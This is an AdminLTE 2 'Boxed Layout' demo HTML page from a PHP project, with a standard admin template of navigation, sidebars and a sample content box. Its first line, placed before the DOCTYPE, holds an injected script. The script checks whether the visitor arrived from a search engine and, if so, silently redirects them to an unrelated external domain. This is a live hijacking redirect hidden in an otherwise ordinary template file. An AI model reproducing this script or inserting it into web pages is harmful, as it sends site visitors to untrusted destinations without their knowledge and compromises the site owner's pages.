d:\wwwroot\wuchunhua\thinkphp\public\adminlte\pages\layout\boxed.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <html>
003: <head>
004:   <meta charset="utf-8">
005:   <meta http-equiv="X-UA-Compatible" content="IE=edge">
006:   <title>AdminLTE 2 | Boxed Layout</title>
007:   <!-- Tell the browser to be responsive to screen width -->
008:   <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
009:   <!-- Bootstrap 3.3.7 -->
010:   <link rel="stylesheet" href="../../bootstrap/css/bootstrap.min.css">
011:   <!-- Font Awesome -->
012:   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css">
013:   <!-- Ionicons -->
014:   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css">
015:   <!-- Theme style -->
016:   <link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
017:   <!-- AdminLTE Skins. Choose a skin from the css/skins
018:        folder instead of downloading all of them to reduce the load. -->

019:   <link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css">
020:
021:   <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
022:   <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
023:   <!--[if lt IE 9]>
024:   <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
025:   <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
026:   <![endif]-->

027:
028:   <!-- Google Font -->
029:   <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
030: </head>
031: <!-- ADD THE CLASS layout-boxed TO GET A BOXED LAYOUT -->
032: <body class="hold-transition skin-blue layout-boxed sidebar-mini">
033: <!-- Site wrapper -->
034: <div class="wrapper">
035:
036:   <header class="main-header">
037:     <!-- Logo -->
038:     <a href="../../index2.html" class="logo">
039:       <!-- mini logo for sidebar mini 50x50 pixels -->
040:       <span class="logo-mini"><b>A</b>LT</span>
041:       <!-- logo for regular state and mobile devices -->
042:       <span class="logo-lg"><b>Admin</b>LTE</span>
043:     </a>
044:     <!-- Header Navbar: style can be found in header.less -->
045:     <nav class="navbar navbar-static-top">
046:       <!-- Sidebar toggle button-->
047:       <a href="#" class="sidebar-toggle" data-toggle="push-menu" role="button">
048:         <span class="sr-only">Toggle navigation</span>
049:       </a>
050:
051:       <div class="navbar-custom-menu">
052:         <ul class="nav navbar-nav">
053:           <!-- Messages: style can be found in dropdown.less-->
054:           <li class="dropdown messages-menu">
055:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
056:               <i class="fa fa-envelope-o"></i>
057:               <span class="label label-success">4</span>
058:             </a>
059:             <ul class="dropdown-menu">
060:               <li class="header">You have 4 messages</li>
061:               <li>
062:                 <!-- inner menu: contains the actual data -->
063:                 <ul class="menu">
064:                   <li><!-- start message -->
065:                     <a href="#">
066:                       <div class="pull-left">
067:                         <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
068:                       </div>
069:                       <h4>
070:                         Support Team
071:                         <small><i class="fa fa-clock-o"></i> 5 mins</small>
072:                       </h4>
073:                       <p>Why not buy a new awesome theme?</p>
074:                     </a>
075:                   </li>
076:                   <!-- end message -->
077:                 </ul>
078:               </li>
079:               <li class="footer"><a href="#">See All Messages</a></li>
080:             </ul>
081:           </li>
082:           <!-- Notifications: style can be found in dropdown.less -->
083:           <li class="dropdown notifications-menu">
084:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
085:               <i class="fa fa-bell-o"></i>
086:               <span class="label label-warning">10</span>
087:             </a>
088:             <ul class="dropdown-menu">
089:               <li class="header">You have 10 notifications</li>
090:               <li>
091:                 <!-- inner menu: contains the actual data -->
092:                 <ul class="menu">
093:                   <li>
094:                     <a href="#">
095:                       <i class="fa fa-users text-aqua"></i> 5 new members joined today
096:                     </a>
097:                   </li>
098:                 </ul>
099:               </li>
100:               <li class="footer"><a href="#">View all</a></li>
101:             </ul>
102:           </li>
103:           <!-- Tasks: style can be found in dropdown.less -->
104:           <li class="dropdown tasks-menu">
105:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
106:               <i class="fa fa-flag-o"></i>
107:               <span class="label label-danger">9</span>
108:             </a>
109:             <ul class="dropdown-menu">
110:               <li class="header">You have 9 tasks</li>
111:               <li>
112:                 <!-- inner menu: contains the actual data -->
113:                 <ul class="menu">
114:                   <li><!-- Task item -->
115:                     <a href="#">
116:                       <h3>
117:                         Design some buttons
118:                         <small class="pull-right">20%</small>
119:                       </h3>
120:                       <div class="progress xs">
121:                         <div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
122:                           <span class="sr-only">20% Complete</span>
123:                         </div>
124:                       </div>
125:                     </a>
126:                   </li>
127:                   <!-- end task item -->
128:                 </ul>
129:               </li>
130:               <li class="footer">
131:                 <a href="#">View all tasks</a>
132:               </li>
133:             </ul>
134:           </li>
135:           <!-- User Account: style can be found in dropdown.less -->
136:           <li class="dropdown user user-menu">
137:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
138:               <img src="../../dist/img/user2-160x160.jpg" class="user-image" alt="User Image">
139:               <span class="hidden-xs">Alexander Pierce</span>
140:             </a>
141:             <ul class="dropdown-menu">
142:               <!-- User image -->
143:               <li class="user-header">
144:                 <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
145:
146:                 <p>
147:                   Alexander Pierce - Web Developer
148:                   <small>Member since Nov. 2012</small>
149:                 </p>
150:               </li>
151:               <!-- Menu Body -->
152:               <li class="user-body">
153:                 <div class="row">
154:                   <div class="col-xs-4 text-center">
155:                     <a href="#">Followers</a>
156:                   </div>
157:                   <div class="col-xs-4 text-center">
158:                     <a href="#">Sales</a>
159:                   </div>
160:                   <div class="col-xs-4 text-center">
161:                     <a href="#">Friends</a>
162:                   </div>
163:                 </div>
164:               </li>
165:               <!-- Menu Footer-->
166:               <li class="user-footer">
167:                 <div class="pull-left">
168:                   <a href="#" class="btn btn-default btn-flat">Profile</a>
169:                 </div>
170:                 <div class="pull-right">
171:                   <a href="#" class="btn btn-default btn-flat">Sign out</a>
172:                 </div>
173:               </li>
174:             </ul>
175:           </li>
176:           <!-- Control Sidebar Toggle Button -->
177:           <li>
178:             <a href="#" data-toggle="control-sidebar"><i class="fa fa-gears"></i></a>
179:           </li>
180:         </ul>
181:       </div>
182:     </nav>
183:   </header>
184:
185:   <!-- =============================================== -->
186:
187:   <!-- Left side column. contains the sidebar -->
188:   <aside class="main-sidebar">
189:     <!-- sidebar: style can be found in sidebar.less -->
190:     <section class="sidebar">
191:       <!-- Sidebar user panel -->
192:       <div class="user-panel">
193:         <div class="pull-left image">
194:           <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
195:         </div>
196:         <div class="pull-left info">
197:           <p>Alexander Pierce</p>
198:           <a href="#"><i class="fa fa-circle text-success"></i> Online</a>
199:         </div>
200:       </div>
201:       <!-- search form -->
202:       <form action="#" method="get" class="sidebar-form">
203:         <div class="input-group">
204:           <input type="text" name="q" class="form-control" placeholder="Search...">
205:               <span class="input-group-btn">
206:                 <button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i>
207:                 </button>
208:               </span>
209:         </div>
210:       </form>
211:       <!-- /.search form -->
212:       <!-- sidebar menu: : style can be found in sidebar.less -->
213:       <ul class="sidebar-menu" data-widget="tree">
214:         <li class="header">MAIN NAVIGATION</li>
215:         <li class="treeview">
216:           <a href="#">
217:             <i class="fa fa-dashboard"></i> <span>Dashboard</span>
218:             <span class="pull-right-container">
219:               <i class="fa fa-angle-left pull-right"></i>
220:             </span>
221:           </a>
222:           <ul class="treeview-menu">
223:             <li><a href="../../index.html"><i class="fa fa-circle-o"></i> Dashboard v1</a></li>
224:             <li><a href="../../index2.html"><i class="fa fa-circle-o"></i> Dashboard v2</a></li>
225:           </ul>
226:         </li>
227:         <li class="treeview active">
228:           <a href="#">
229:             <i class="fa fa-files-o"></i>
230:             <span>Layout Options</span>
231:             <span class="pull-right-container">
232:               <span class="label label-primary pull-right">4</span>
233:             </span>
234:           </a>
235:           <ul class="treeview-menu">
236:             <li><a href="top-nav.html"><i class="fa fa-circle-o"></i> Top Navigation</a></li>
237:             <li class="active"><a href="boxed.html"><i class="fa fa-circle-o"></i> Boxed</a></li>
238:             <li><a href="fixed.html"><i class="fa fa-circle-o"></i> Fixed</a></li>
239:             <li><a href="collapsed-sidebar.html"><i class="fa fa-circle-o"></i> Collapsed Sidebar</a></li>
240:           </ul>
241:         </li>
242:         <li>
243:           <a href="../widgets.html">
244:             <i class="fa fa-th"></i> <span>Widgets</span>
245:             <span class="pull-right-container">
246:               <small class="label pull-right bg-green">new</small>
247:             </span>
248:           </a>
249:         </li>
250:         <li class="treeview">
251:           <a href="#">
252:             <i class="fa fa-pie-chart"></i>
253:             <span>Charts</span>
254:             <span class="pull-right-container">
255:               <i class="fa fa-angle-left pull-right"></i>
256:             </span>
257:           </a>
258:           <ul class="treeview-menu">
259:             <li><a href="../charts/chartjs.html"><i class="fa fa-circle-o"></i> ChartJS</a></li>
260:             <li><a href="../charts/morris.html"><i class="fa fa-circle-o"></i> Morris</a></li>
261:             <li><a href="../charts/flot.html"><i class="fa fa-circle-o"></i> Flot</a></li>
262:             <li><a href="../charts/inline.html"><i class="fa fa-circle-o"></i> Inline charts</a></li>
263:           </ul>
264:         </li>
265:         <li class="treeview">
266:           <a href="#">
267:             <i class="fa fa-laptop"></i>
268:             <span>UI Elements</span>
269:             <span class="pull-right-container">
270:               <i class="fa fa-angle-left pull-right"></i>
271:             </span>
272:           </a>
273:           <ul class="treeview-menu">
274:             <li><a href="../UI/general.html"><i class="fa fa-circle-o"></i> General</a></li>
275:             <li><a href="../UI/icons.html"><i class="fa fa-circle-o"></i> Icons</a></li>
276:             <li><a href="../UI/buttons.html"><i class="fa fa-circle-o"></i> Buttons</a></li>
277:             <li><a href="../UI/sliders.html"><i class="fa fa-circle-o"></i> Sliders</a></li>
278:             <li><a href="../UI/timeline.html"><i class="fa fa-circle-o"></i> Timeline</a></li>
279:             <li><a href="../UI/modals.html"><i class="fa fa-circle-o"></i> Modals</a></li>
280:           </ul>
281:         </li>
282:         <li class="treeview">
283:           <a href="#">
284:             <i class="fa fa-edit"></i> <span>Forms</span>
285:             <span class="pull-right-container">
286:               <i class="fa fa-angle-left pull-right"></i>
287:             </span>
288:           </a>
289:           <ul class="treeview-menu">
290:             <li><a href="../forms/general.html"><i class="fa fa-circle-o"></i> General Elements</a></li>
291:             <li><a href="../forms/advanced.html"><i class="fa fa-circle-o"></i> Advanced Elements</a></li>
292:             <li><a href="../forms/editors.html"><i class="fa fa-circle-o"></i> Editors</a></li>
293:           </ul>
294:         </li>
295:         <li class="treeview">
296:           <a href="#">
297:             <i class="fa fa-table"></i> <span>Tables</span>
298:             <span class="pull-right-container">
299:               <i class="fa fa-angle-left pull-right"></i>
300:             </span>
301:           </a>
302:           <ul class="treeview-menu">
303:             <li><a href="../tables/simple.html"><i class="fa fa-circle-o"></i> Simple tables</a></li>
304:             <li><a href="../tables/data.html"><i class="fa fa-circle-o"></i> Data tables</a></li>
305:           </ul>
306:         </li>
307:         <li>
308:           <a href="../calendar.html">
309:             <i class="fa fa-calendar"></i> <span>Calendar</span>
310:             <span class="pull-right-container">
311:               <small class="label pull-right bg-red">3</small>
312:               <small class="label pull-right bg-blue">17</small>
313:             </span>
314:           </a>
315:         </li>
316:         <li>
317:           <a href="../mailbox/mailbox.html">
318:             <i class="fa fa-envelope"></i> <span>Mailbox</span>
319:             <span class="pull-right-container">
320:               <small class="label pull-right bg-yellow">12</small>
321:               <small class="label pull-right bg-green">16</small>
322:               <small class="label pull-right bg-red">5</small>
323:             </span>
324:           </a>
325:         </li>
326:         <li class="treeview">
327:           <a href="#">
328:             <i class="fa fa-folder"></i> <span>Examples</span>
329:             <span class="pull-right-container">
330:               <i class="fa fa-angle-left pull-right"></i>
331:             </span>
332:           </a>
333:           <ul class="treeview-menu">
334:             <li><a href="../examples/invoice.html"><i class="fa fa-circle-o"></i> Invoice</a></li>
335:             <li><a href="../examples/profile.html"><i class="fa fa-circle-o"></i> Profile</a></li>
336:             <li><a href="../examples/login.html"><i class="fa fa-circle-o"></i> Login</a></li>
337:             <li><a href="../examples/register.html"><i class="fa fa-circle-o"></i> Register</a></li>
338:             <li><a href="../examples/lockscreen.html"><i class="fa fa-circle-o"></i> Lockscreen</a></li>
339:             <li><a href="../examples/404.html"><i class="fa fa-circle-o"></i> 404 Error</a></li>
340:             <li><a href="../examples/500.html"><i class="fa fa-circle-o"></i> 500 Error</a></li>
341:             <li><a href="../examples/blank.html"><i class="fa fa-circle-o"></i> Blank Page</a></li>
342:             <li><a href="../examples/pace.html"><i class="fa fa-circle-o"></i> Pace Page</a></li>
343:           </ul>
344:         </li>
345:         <li class="treeview">
346:           <a href="#">
347:             <i class="fa fa-share"></i> <span>Multilevel</span>
348:             <span class="pull-right-container">
349:               <i class="fa fa-angle-left pull-right"></i>
350:             </span>
351:           </a>
352:           <ul class="treeview-menu">
353:             <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
354:             <li class="treeview">
355:               <a href="#"><i class="fa fa-circle-o"></i> Level One
356:                 <span class="pull-right-container">
357:                   <i class="fa fa-angle-left pull-right"></i>
358:                 </span>
359:               </a>
360:               <ul class="treeview-menu">
361:                 <li><a href="#"><i class="fa fa-circle-o"></i> Level Two</a></li>
362:                 <li class="treeview">
363:                   <a href="#"><i class="fa fa-circle-o"></i> Level Two
364:                     <span class="pull-right-container">
365:                       <i class="fa fa-angle-left pull-right"></i>
366:                     </span>
367:                   </a>
368:                   <ul class="treeview-menu">
369:                     <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
370:                     <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
371:                   </ul>
372:                 </li>
373:               </ul>
374:             </li>
375:             <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
376:           </ul>
377:         </li>
378:         <li><a href="../../documentation/index.html"><i class="fa fa-book"></i> <span>Documentation</span></a></li>
379:         <li class="header">LABELS</li>
380:         <li><a href="#"><i class="fa fa-circle-o text-red"></i> <span>Important</span></a></li>
381:         <li><a href="#"><i class="fa fa-circle-o text-yellow"></i> <span>Warning</span></a></li>
382:         <li><a href="#"><i class="fa fa-circle-o text-aqua"></i> <span>Information</span></a></li>
383:       </ul>
384:     </section>
385:     <!-- /.sidebar -->
386:   </aside>
387:
388:   <!-- =============================================== -->
389:
390:   <!-- Content Wrapper. Contains page content -->
391:   <div class="content-wrapper">
392:     <!-- Content Header (Page header) -->
393:     <section class="content-header">
394:       <h1>
395:         Boxed Layout
396:         <small>Blank example to the boxed layout</small>
397:       </h1>
398:       <ol class="breadcrumb">
399:         <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
400:         <li><a href="#">Layout</a></li>
401:         <li class="active">Boxed</li>
402:       </ol>
403:     </section>
404:
405:     <!-- Main content -->
406:     <section class="content">
407:       <div class="callout callout-info">
408:         <h4>Tip!</h4>
409:
410:         <p>Add the layout-boxed class to the body tag to get this layout. The boxed layout is helpful when working on
411:           large screens because it prevents the site from stretching very wide.</p>
412:       </div>
413:       <!-- Default box -->
414:       <div class="box">
415:         <div class="box-header with-border">
416:           <h3 class="box-title">Title</h3>
417:
418:           <div class="box-tools pull-right">
419:             <button type="button" class="btn btn-box-tool" data-widget="collapse" data-toggle="tooltip" title="Collapse">
420:               <i class="fa fa-minus"></i></button>
421:             <button type="button" class="btn btn-box-tool" data-widget="remove" data-toggle="tooltip" title="Remove">
422:               <i class="fa fa-times"></i></button>
423:           </div>
424:         </div>
425:         <div class="box-body">
426:           Start creating your amazing application!
427:         </div>
428:         <!-- /.box-body -->
429:         <div class="box-footer">
430:           Footer
431:         </div>
432:         <!-- /.box-footer-->
433:       </div>
434:       <!-- /.box -->
435:     </section>
436:     <!-- /.content -->
437:   </div>
438:   <!-- /.content-wrapper -->
439:
440:   <footer class="main-footer">
441:     <div class="pull-right hidden-xs">
442:       <b>Version</b> 2.4.0
443:     </div>
444:     <strong>Copyright &copy; 2014-2016 <a href="https://adminlte.io">Almsaeed Studio</a>.</strong> All rights
445:     reserved.
446:   </footer>
447:
448:   <!-- Control Sidebar -->
449:   <aside class="control-sidebar control-sidebar-dark">
450:     <!-- Create the tabs -->
451:     <ul class="nav nav-tabs nav-justified control-sidebar-tabs">
452:       <li><a href="#control-sidebar-home-tab" data-toggle="tab"><i class="fa fa-home"></i></a></li>
453:       <li><a href="#control-sidebar-settings-tab" data-toggle="tab"><i class="fa fa-gears"></i></a></li>
454:     </ul>
455:     <!-- Tab panes -->
456:     <div class="tab-content">
457:       <!-- Home tab content -->
458:       <div class="tab-pane" id="control-sidebar-home-tab">
459:         <h3 class="control-sidebar-heading">Recent Activity</h3>
460:         <ul class="control-sidebar-menu">
461:           <li>
462:             <a href="javascript:void(0)">
463:               <i class="menu-icon fa fa-birthday-cake bg-red"></i>
464:
465:               <div class="menu-info">
466:                 <h4 class="control-sidebar-subheading">Langdon's Birthday</h4>
467:
468:                 <p>Will be 23 on April 24th</p>
469:               </div>
470:             </a>
471:           </li>
472:           <li>
473:             <a href="javascript:void(0)">
474:               <i class="menu-icon fa fa-user bg-yellow"></i>
475:
476:               <div class="menu-info">
477:                 <h4 class="control-sidebar-subheading">Frodo Updated His Profile</h4>
478:
479:                 <p>New phone +1(800)555-1234</p>
480:               </div>
481:             </a>
482:           </li>
483:           <li>
484:             <a href="javascript:void(0)">
485:               <i class="menu-icon fa fa-envelope-o bg-light-blue"></i>
486:
487:               <div class="menu-info">
488:                 <h4 class="control-sidebar-subheading">Nora Joined Mailing List</h4>
489:
490:                 <p>nora@example.com</p>
491:               </div>
492:             </a>
493:           </li>
494:           <li>
495:             <a href="javascript:void(0)">
496:               <i class="menu-icon fa fa-file-code-o bg-green"></i>
497:
498:               <div class="menu-info">
499:                 <h4 class="control-sidebar-subheading">Cron Job 254 Executed</h4>
500:
501:                 <p>Execution time 5 seconds</p>
502:               </div>
503:             </a>
504:           </li>
505:         </ul>
506:         <!-- /.control-sidebar-menu -->
507:
508:         <h3 class="control-sidebar-heading">Tasks Progress</h3>
509:         <ul class="control-sidebar-menu">
510:           <li>
511:             <a href="javascript:void(0)">
512:               <h4 class="control-sidebar-subheading">
513:                 Custom Template Design
514:                 <span class="label label-danger pull-right">70%</span>
515:               </h4>
516:
517:               <div class="progress progress-xxs">
518:                 <div class="progress-bar progress-bar-danger" style="width: 70%"></div>
519:               </div>
520:             </a>
521:           </li>
522:           <li>
523:             <a href="javascript:void(0)">
524:               <h4 class="control-sidebar-subheading">
525:                 Update Resume
526:                 <span class="label label-success pull-right">95%</span>
527:               </h4>
528:
529:               <div class="progress progress-xxs">
530:                 <div class="progress-bar progress-bar-success" style="width: 95%"></div>
531:               </div>
532:             </a>
533:           </li>
534:           <li>
535:             <a href="javascript:void(0)">
536:               <h4 class="control-sidebar-subheading">
537:                 Laravel Integration
538:                 <span class="label label-warning pull-right">50%</span>
539:               </h4>
540:
541:               <div class="progress progress-xxs">
542:                 <div class="progress-bar progress-bar-warning" style="width: 50%"></div>
543:               </div>
544:             </a>
545:           </li>
546:           <li>
547:             <a href="javascript:void(0)">
548:               <h4 class="control-sidebar-subheading">
549:                 Back End Framework
550:                 <span class="label label-primary pull-right">68%</span>
551:               </h4>
552:
553:               <div class="progress progress-xxs">
554:                 <div class="progress-bar progress-bar-primary" style="width: 68%"></div>
555:               </div>
556:             </a>
557:           </li>
558:         </ul>
559:         <!-- /.control-sidebar-menu -->
560:
561:       </div>
562:       <!-- /.tab-pane -->
563:       <!-- Stats tab content -->
564:       <div class="tab-pane" id="control-sidebar-stats-tab">Stats Tab Content</div>
565:       <!-- /.tab-pane -->
566:       <!-- Settings tab content -->
567:       <div class="tab-pane" id="control-sidebar-settings-tab">
568:         <form method="post">
569:           <h3 class="control-sidebar-heading">General Settings</h3>
570:
571:           <div class="form-group">
572:             <label class="control-sidebar-subheading">
573:               Report panel usage
574:               <input type="checkbox" class="pull-right" checked>
575:             </label>
576:
577:             <p>
578:               Some information about this general settings option
579:             </p>
580:           </div>
581:           <!-- /.form-group -->
582:
583:           <div class="form-group">
584:             <label class="control-sidebar-subheading">
585:               Allow mail redirect
586:               <input type="checkbox" class="pull-right" checked>
587:             </label>
588:
589:             <p>
590:               Other sets of options are available
591:             </p>
592:           </div>
593:           <!-- /.form-group -->
594:
595:           <div class="form-group">
596:             <label class="control-sidebar-subheading">
597:               Expose author name in posts
598:               <input type="checkbox" class="pull-right" checked>
599:             </label>
600:
601:             <p>
602:               Allow the user to show his name in blog posts
603:             </p>
604:           </div>
605:           <!-- /.form-group -->
606:
607:           <h3 class="control-sidebar-heading">Chat Settings</h3>
608:
609:           <div class="form-group">
610:             <label class="control-sidebar-subheading">
611:               Show me as online
612:               <input type="checkbox" class="pull-right" checked>
613:             </label>
614:           </div>
615:           <!-- /.form-group -->
616:
617:           <div class="form-group">
618:             <label class="control-sidebar-subheading">
619:               Turn off notifications
620:               <input type="checkbox" class="pull-right">
621:             </label>
622:           </div>
623:           <!-- /.form-group -->
624:
625:           <div class="form-group">
626:             <label class="control-sidebar-subheading">
627:               Delete chat history
628:               <a href="javascript:void(0)" class="text-red pull-right"><i class="fa fa-trash-o"></i></a>
629:             </label>
630:           </div>
631:           <!-- /.form-group -->
632:         </form>
633:       </div>
634:       <!-- /.tab-pane -->
635:     </div>
636:   </aside>
637:   <!-- /.control-sidebar -->
638:   <!-- Add the sidebar's background. This div must be placed
639:        immediately after the control sidebar -->

640:   <div class="control-sidebar-bg"></div>
641: </div>
642: <!-- ./wrapper -->
643:
644: <!-- jQuery 3.1.1 -->
645: <script src="../../plugins/jQuery/jquery-3.1.1.min.js"></script>
646: <!-- Bootstrap 3.3.7 -->
647: <script src="../../bootstrap/js/bootstrap.min.js"></script>
648: <!-- SlimScroll -->
649: <script src="../../plugins/slimScroll/jquery.slimscroll.min.js"></script>
650: <!-- FastClick -->
651: <script src="../../plugins/fastclick/fastclick.js"></script>
652: <!-- AdminLTE App -->
653: <script src="../../dist/js/adminlte.min.js"></script>
654: <!-- AdminLTE for demo purposes -->
655: <script src="../../dist/js/demo.js"></script>
656: </body>
657: </html>
658:
659:
660: